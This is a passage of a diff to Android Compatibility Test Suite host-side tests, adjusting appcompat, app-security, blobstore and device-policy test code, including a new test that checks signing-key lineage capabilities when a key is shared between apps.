     private void startApp() throws Exception {
         runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty");
-        Thread.currentThread().sleep(100);
+        Thread.currentThread().sleep(5000);
     }
 
 
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..f6e664e 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -26,5 +26,7 @@
         "host-libprotobuf-java-full",
         "platformprotos",
     ],
-
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 28bd4d7..9e12717 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -19,12 +19,15 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.internal.os.StatsdConfigProto;
 import com.android.os.AtomsProto;
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.tradefed.build.IBuildInfo;
@@ -46,7 +49,9 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -195,19 +200,28 @@
     /**
      * Gets the statsd report. Note that this also deletes that report from statsd.
      */
-    private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException {
+    private ConfigMetricsReportList getReportList(long configId)
+            throws DeviceNotAvailableException {
         try {
             final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
             getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver);
             return ConfigMetricsReportList.parser()
-                    .parseFrom(receiver.getOutput())
-                    .getReportsList();
+                    .parseFrom(receiver.getOutput());
         } catch (InvalidProtocolBufferException e) {
             throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
                     e);
         }
     }
 
+    private static List<StatsLog.EventMetricData> getEventMetricDataList(
+            ConfigMetricsReportList reportList) {
+        try {
+            return ReportUtils.getEventMetricDataList(reportList);
+        } catch (Exception e) {
+            throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e);
+        }
+    }
+
     /**
      * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
      * logged by a given package name.
@@ -313,9 +327,7 @@
     private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final int packageUid = getUid(pkgName);
-        return getReportList(configId).stream()
-                .flatMap(report -> report.getMetricsList().stream())
-                .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+        return getEventMetricDataList(getReportList(configId)).stream()
                 .filter(eventMetricData -> eventMetricData.hasAtom())
                 .map(eventMetricData -> eventMetricData.getAtom())
                 .map(atom -> atom.getAppCompatibilityChangeReported())
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap
new file mode 100644
index 0000000..f03f6db
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7d8333d..91ec159 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -406,7 +406,7 @@
             return;
         }
         // Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
-        getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+        getDevice().executeShellCommand("cmd package revoke --user cur " + EPHEMERAL_1_PKG
                 + " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
         Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
                 "testStartForegroundService");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 67e4080..9848f8f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -39,6 +39,7 @@
 import org.junit.After;
 import org.junit.Assume;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -626,6 +627,7 @@
     }
 
     @Test
+    @Ignore("Enable after b/197701722 is fixed")
     public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
         // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
         // path for shared files, and will always have access as they have W_E_S.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
index 5731457..df788cd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -37,6 +37,8 @@
  * running and restoring to initial values after test method finished.
  */
 public class NormalizeScreenStateRule implements TestRule {
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
     private final ITestInformationReceiver mTestInformationReceiver;
 
     public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
@@ -90,6 +92,10 @@
         return new Statement() {
             @Override
             public void evaluate() throws Throwable {
+                if (getDevice().hasFeature(FEATURE_AUTOMOTIVE)) {
+                    return;
+                }
+
                 final Map<String, String> initialValues = new HashMap<>();
                 Arrays.stream(DOZE_SETTINGS).forEach(
                         k -> initialValues.put(k, getSecureSetting(k)));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 4f04933..c110f7b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -39,6 +39,7 @@
 public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
+    private static final String TEST_PKG2 = "android.appsecurity.cts.tinyapp2";
     private static final String COMPANION_TEST_PKG = "android.appsecurity.cts.tinyapp_companion";
     private static final String COMPANION2_TEST_PKG = "android.appsecurity.cts.tinyapp_companion2";
     private static final String DEVICE_TESTS_APK = "CtsV3SigningSchemeRotationTest.apk";
@@ -958,6 +959,35 @@
         assertInstallSucceeds("v3-rsa-pkcs1-sha256-2048-1_P_and_2_Qplus.apk");
     }
 
+    public void testSharedKeyInSeparateLineageRetainsDeclaredCapabilities() throws Exception {
+        // This test verifies when a key is used in the signing lineage of multiple apps each
+        // instance of the key retains its declared capabilities.
+
+        // This app has granted the PERMISSION capability to the previous signer in the lineage
+        // but has revoked the SHARED_USER_ID capability.
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2.apk");
+        // This app has granted the SHARED_USER_ID capability to the previous signer in the lineage
+        // but has revoked the PERMISSION capability.
+        assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid.apk");
+
+        // Reboot the device to ensure that the capabilities written to packages.xml are properly
+        // assigned to the packages installed above; it's possible immediately after a package
+        // install the capabilities are as declared, but then during the reboot shared signing
+        // keys also share the initial declared capabilities.
+        getDevice().reboot();
+
+        // This app is signed with the original shared signing key in the lineage and is part of the
+        // sharedUserId; since the other app in this sharedUserId has granted the required
+        // capability in the lineage the install should succeed.
+        assertInstallFromBuildSucceeds("v3-ec-p256-1-sharedUid-companion2.apk");
+        // This app is signed with the original shared signing key in the lineage and requests the
+        // signature permission declared by the test app above. Since that app granted the
+        // PERMISSION capability to the previous signer in the lineage this app should have the
+        // permission granted.
+        assertInstallFromBuildSucceeds("v3-ec-p256-1-companion-usesperm.apk");
+        Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm");
+    }
+
     public void testInstallTargetSdk30WithV1Signers() throws Exception {
         // An app targeting SDK version >= 30 must have at least a V2 signature; this test verifies
         // an app targeting SDK version 30 with only a V1 signature fails to install.
@@ -1321,6 +1351,11 @@
     }
 
     public void testInstallV4UpdateAfterRotation() throws Exception {
+        // V4 is only enabled on devices with Incremental feature
+        if (!hasIncrementalFeature()) {
+            return;
+        }
+
         // This test performs an end to end verification of the update of an app with a rotated
         // key. The app under test exports a bound service that performs its own PackageManager key
         // rotation API verification, and the instrumentation test binds to the service and invokes
@@ -1588,7 +1623,9 @@
     }
 
     private String uninstallPackage() throws DeviceNotAvailableException {
-        return getDevice().uninstallPackage(TEST_PKG);
+        String result1 = getDevice().uninstallPackage(TEST_PKG);
+        String result2 = getDevice().uninstallPackage(TEST_PKG2);
+        return result1 != null ? result1 : result2;
     }
 
     private String uninstallCompanionPackages() throws DeviceNotAvailableException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index 0c86e10..e86aa57 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -50,7 +50,7 @@
 
         final int initialUserId = getDevice().getCurrentUser();
         final int secondaryUserId = userIds[1];
-        getDevice().switchUser(secondaryUserId);
+        assumeTrue("Unable to switch user", getDevice().switchUser(secondaryUserId));
         try {
             uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE);
             try {
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 53c9d14..f34010c 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -113,6 +113,36 @@
 LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# This is the test package signed using the V3 signature scheme with
+# a rotated key and part of a shareduid. The capabilities of this lineage
+# prevent the previous key in the lineage from using a signature permission.
+# This package is intended to verify shared signing keys in separate app
+# lineages retain their own declared capabilities.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-perm-cap
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is the test package with a new name intended to be installed
+# alongside the original test package when verifying platform behavior when
+# two apps share the same previous signer in their lineage with different
+# capabilities granted; the lineage for this package prevents an app signed
+# with the previous signing key from joining a sharedUserId.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm2.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
 # This is the first companion package signed using the V3 signature scheme
 # with a rotated key and part of a sharedUid. The capabilities of this lineage
 # grant access to the previous key in the lineage to join the sharedUid.
@@ -205,6 +235,19 @@
 LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# This is a version of the companion package that requests the signature permission
+# declared by the test package. This package is signed with the original signing
+# key and is intended to verify that a common signing key shared between two
+# lineages retains its capability from the package declaring the signature permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-1-companion-usesperm
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+
 # This is a version of the test package that declares a signature permission
 # with the knownSigner protection flag. This app is signed with the rsa-2048
 # signing key with the trusted certificates being ec-p256 and ec-p256_3.
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml
new file mode 100644
index 0000000..02b0897
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp2"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+         android:protectionLevel="signature" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index fc355af..6928718 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -98,6 +98,10 @@
         return device.isMultiUserSupported();
     }
 
+    protected boolean isMultiUserSupported() throws Exception {
+        return isMultiUserSupported(getDevice());
+    }
+
     protected Map<String, String> createArgsFromLastTestRun() {
         final Map<String, String> args = new HashMap<>();
         for (String key : new String[] {
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index ec13654..9a78386 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -40,9 +40,9 @@
 
     @BeforeClassWithInfo
     public static void setUpClass(TestInformation testInfo) throws Exception {
-        assumeTrue("Multi-user is not supported on this device",
-                isMultiUserSupported(testInfo.getDevice()));
-
+        if(!isMultiUserSupported(testInfo.getDevice())) {
+            return;
+        }
         mPrimaryUserId = testInfo.getDevice().getPrimaryUserId();
         mSecondaryUserId = testInfo.getDevice().createUser("Test_User");
         assertThat(testInfo.getDevice().startUser(mSecondaryUserId)).isTrue();
@@ -50,6 +50,8 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue("Multi-user is not supported on this device", isMultiUserSupported());
+
         for (String apk : new String[] {TARGET_APK, TARGET_APK_DEV}) {
             installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t");
             installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t");
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index d932dd8..3432898 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -34,6 +34,9 @@
         "general-tests",
         "mts",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index e691e20..fcc7d5d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -96,6 +96,7 @@
         <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
         <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
              android:launchMode="singleInstance"
+             android:directBootAware="true"
              android:lockTaskMode="if_whitelisted"
              android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 6fa0bcb..4cf186d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -16,13 +16,14 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
 import android.net.Uri;
-import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
 import android.util.Log;
@@ -51,7 +52,8 @@
         mPackageManager = mContext.getPackageManager();
         mUseFixedVolume = mContext.getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
-        mUseFullVolume = isFullVolumeDevice();
+        mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(),
+                android.Manifest.permission.QUERY_AUDIO_STATE);
     }
 
     // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -190,17 +192,4 @@
             Thread.sleep(200);
         }
     }
-
-    private boolean isFullVolumeDevice() {
-        String commandOutput = runShellCommand("dumpsys audio");
-
-        for (String line : commandOutput.split("\\r?\\n")) {
-            if (Pattern.matches("\\s*mHdmiCecSink=true", line)
-                    || (Pattern.matches("\\s*mHdmiPlayBackClient=", line)
-                    && !Pattern.matches("=null$", line))) {
-                return true;
-            }
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
index 2ed2c1a..a45fa0a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -126,7 +126,8 @@
         if (hardwareIdentifier == null) {
             hardwareIdentifier = "";
         }
-        return String.format("%16s", hardwareIdentifier);
+        String hwIdentifier = String.format("%16s", hardwareIdentifier);
+        return hwIdentifier.substring(0, 16);
     }
 
     private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 61f3e21..119d702 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -396,12 +396,18 @@
     }
 
     public void testPermissionPolicyAutoGrant_multiplePermissionsInGroup() throws Exception {
-        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
 
-        // Both permissions should be granted
-        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
-        assertCanRequestPermissionFromActivity(READ_CONTACTS);
-        assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+            // Both permissions should be granted
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+            assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+        } finally {
+            // Restore original state
+            setPermissionPolicy(permissionPolicy);
+        }
     }
 
     public void testCannotRequestPermission() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java
index f8582ea..c30787d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PolicyTransparencyTest.java
@@ -16,11 +16,8 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.content.Intent;
 import android.os.UserManager;
-import android.provider.Settings;
-import android.util.Log;
 
 /**
  * Tests for {@link DevicePolicyManager#createAdminSupportIntent} API.
@@ -35,8 +32,6 @@
         Intent intent = mDevicePolicyManager.createAdminSupportIntent(
                 DevicePolicyManager.POLICY_DISABLE_CAMERA);
         assertNotNull(intent);
-        assertEquals(ADMIN_RECEIVER_COMPONENT,
-                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
         assertEquals(DevicePolicyManager.POLICY_DISABLE_CAMERA,
                 intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
 
@@ -52,8 +47,6 @@
         Intent intent = mDevicePolicyManager.createAdminSupportIntent(
                 DevicePolicyManager.POLICY_DISABLE_SCREEN_CAPTURE);
         assertNotNull(intent);
-        assertEquals(ADMIN_RECEIVER_COMPONENT,
-                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
         assertEquals(DevicePolicyManager.POLICY_DISABLE_SCREEN_CAPTURE,
                 intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
 
@@ -75,8 +68,6 @@
 
         Intent intent = mDevicePolicyManager.createAdminSupportIntent(restriction);
         assertNotNull(intent);
-        assertEquals(ADMIN_RECEIVER_COMPONENT,
-                (ComponentName) intent.getParcelableExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN));
         assertEquals(restriction, intent.getStringExtra(DevicePolicyManager.EXTRA_RESTRICTION));
 
         mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index de7f94e..0e590c4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -47,7 +47,6 @@
 import java.util.List;
 
 // TODO(b/184280023): remove @RequiresDevice and @Ignores.
-@RequiresDevice
 @RunWith(AndroidJUnit4.class)
 public class SecondaryLockscreenTest {
 
@@ -139,6 +138,7 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @RequiresDevice
     @Test(expected = SecurityException.class)
     public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
         final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 922745d..a6dcb8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -99,7 +99,6 @@
                     OPERATION_SET_APPLICATION_HIDDEN,
                     OPERATION_SET_APPLICATION_RESTRICTIONS,
                     OPERATION_SET_CAMERA_DISABLED,
-                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
                     OPERATION_SET_GLOBAL_PRIVATE_DNS,
                     OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
                     OPERATION_SET_KEYGUARD_DISABLED,
@@ -125,6 +124,10 @@
                 operations = ArrayUtils.appendInt(operations,
                         OPERATION_SET_TRUST_AGENT_CONFIGURATION);
             }
+            if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) {
+                operations = ArrayUtils.appendInt(operations,
+                        OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY);
+            }
 
             return operations;
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index f69cbaa..ea09321 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -185,7 +185,7 @@
     private static final int PERMISSION_GRANT_STATE_GRANTED = 1;
     private static final int PERMISSION_GRANT_STATE_DENIED = 2;
     private static final String PARAM_APP_TO_ENABLE = "app_to_enable";
-    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief %s | tail -n 1";
+    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief --user %d %s | tail -n 1";
 
     private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent";
 
@@ -439,6 +439,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 187862351)
     public void testGrantOfSensorsRelatedPermissions() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
@@ -451,6 +452,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 187862351)
     public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest",
@@ -458,6 +460,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 187862351)
     public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest",
@@ -1723,7 +1726,7 @@
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
         for (String enabledSystemPackage : enabledSystemPackageNames) {
             final String result = getDevice().executeShellCommand(
-                    String.format(RESOLVE_ACTIVITY_CMD, enabledSystemPackage));
+                    String.format(RESOLVE_ACTIVITY_CMD, mUserId, enabledSystemPackage));
             if (!result.contains("No activity found")) {
                 return enabledSystemPackage;
             }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 2789739..d157fc0 100644
